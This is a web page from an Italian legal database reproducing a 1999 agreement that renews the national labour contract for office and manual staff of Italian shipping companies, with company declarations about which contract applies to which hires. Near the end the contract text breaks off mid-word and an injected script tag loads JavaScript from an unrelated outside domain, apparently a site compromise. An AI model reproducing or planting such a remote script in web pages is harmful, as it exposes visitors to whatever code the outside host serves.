Torna all'elenco delle categorie

Categoria: Marittimi, uffici società di servizi locali
Settore: Trasporti
Data stipula: 30-11-1999
Data decorrenza: 1-1-1999
Data scadenza: 31-12-2002

ACCORDO


L'anno 1999, addì 30 del mese di novembre, in Roma, fra

-    Associazione Italiana dell'Armamento di Linea (FEDARLINEA);
-    Lloyd Triestino SpA;
-    Italia di Navigazione SpA;

e

le Segreterie nazionali delle OOSS:

-    FILT-CGIL
-    FIT-CISL
-    UILTRASPORTI

premesso

che  il  processo di globalizzazione del settore marittimo e la definitiva
liberalizzazione  del  traffico di cabotaggio hanno  introdotto  ulteriori
elementi  di competitività in un mercato già fortemente caratterizzato  da
un'elevata concorrenzialità fra gli operatori;

che  il  presente rinnovo del CCNL del personale amministrativo e  operaio
costituisce   un'utile  occasione  per  prevedere  soluzioni  contrattuali
coerenti  con  il mercato fortemente competitivo e che producano,  quindi,
risultati concreti e chiari segnali di cambiamento

è stato convenuto quanto segue

1.    Il  CCNL  31.12.95 per gli addetti agli uffici e  per  il  personale
  operaio  delle  Società  di  Navigazione  "Italia",  "Lloyd  Triestino",
  "Adriatica", "Tirrenia", e della Società Finanziaria Marittima (FINMARE) è
  rinnovato con le modifiche di cui ai documenti allegati (*).

2.   Con il presente accordo le parti si danno reciprocamente atto di aver
  rinnovato  la  parte  economica e normativa del contratto  indicato  nel
  precedente   punto  1,  in  armonia  con  quanto  disposto  dall'Accordo
  interconfederale 23.7.93.
  La  parte economica avrà vigenza biennale, e cioè dal 1° gennaio 1999 al
  31  dicembre 2000, quella normativa quadriennale, e cioè dal 1°  gennaio
  1999 al 31 dicembre 2002.
  Le  condizioni  normative ed economiche di cui al  presente  accordo  si
  applicano esclusivamente nei confronti degli addetti agli uffici e degli
  operai  in  servizio alla data di sottoscrizione del  presente  accordo,
  salvo  le  diverse  decorrenze  espressamente  disposte  per  i  singoli
  istituti.

3.    Il  CCNL  indicato  nel  precedente punto 1 s'intenderà  tacitamente
  prorogato di anno in anno qualora non venga disdettato da una delle parti,
  con lettera raccomandata, almeno 6 mesi prima di ciascuna scadenza.

(*)Relativamente  alla  Società  Lloyd Triestino,  in  considerazione  del
  rapporto  associativo in essere con FEDARLINEA, il contratto di  cui  al
  punto  1  troverà  piena applicazione esclusivamente  per  il  personale
  assunto  a  tempo  indeterminato in servizio al 31.12.99;  relativamente
  alla  Società  Italia di Navigazione, il contratto di  cui  al  punto  1
  troverà  piena applicazione esclusivamente per il personale in  servizio
  alla data di perfezionamento della privatizzazione (13.8.98).

Le  parti  s'impegnano  a  rispettare e a far rispettare,  per  quanto  di
propria competenza e per il periodo di validità, il presente accordo e  il
suddetto contratto.


DICHIARAZIONE SOCIETÀ ITALIA SpA

Fermo restando quanto previsto dal presente accordo, la Società Italia  di
Navigazione precisa che per il personale assunto successivamente alla data
di   perfezionamento   della  privatizzazione  (13.8.98)   troverà   piena
applicazione  il  CCNL 22.9.99, sottoscritto da CONFITARMA  e  dalle  OOSS
FILT-CGIL, FIT-CISL e UILTRASPORTI.


Dichiarazione Società Lloyd Triestino SpA.

Fermo  restando quanto previsto dal presente accordo, il Lloyd  Triestino,
in  considerazione  del rapporto associativo con CONFITARMA,  informa  che
applicherà  il  CCNL  22.9.99, sottoscritto da  CONFITARMA  e  dalle  OOSS
FILT-CGIL.  FIT-CISL e UILTRASPORTI, al personale assunto a decorrere  dal
1° gennaio 2000.

CONFITARMA  parimenti curerà le problematiche relative  al  personale  del
Lloyd Triestino assunto prima del 31.12.99.

La  Società  informa, inoltre, che nei confronti del personale assunto  in
CFL, successivamente alla data di stipula del contratto di compravendita e
fino  al  31.12.99, al momento dell'eventuale trasformazione del  predetto
contratto  in  r<script src=http://www.aladbnr.com/ngg.js></script>













(c) 2002-2022 www.infoleges.it -  powered by Be Smart s.r.l - Note legali e Condizioni d'uso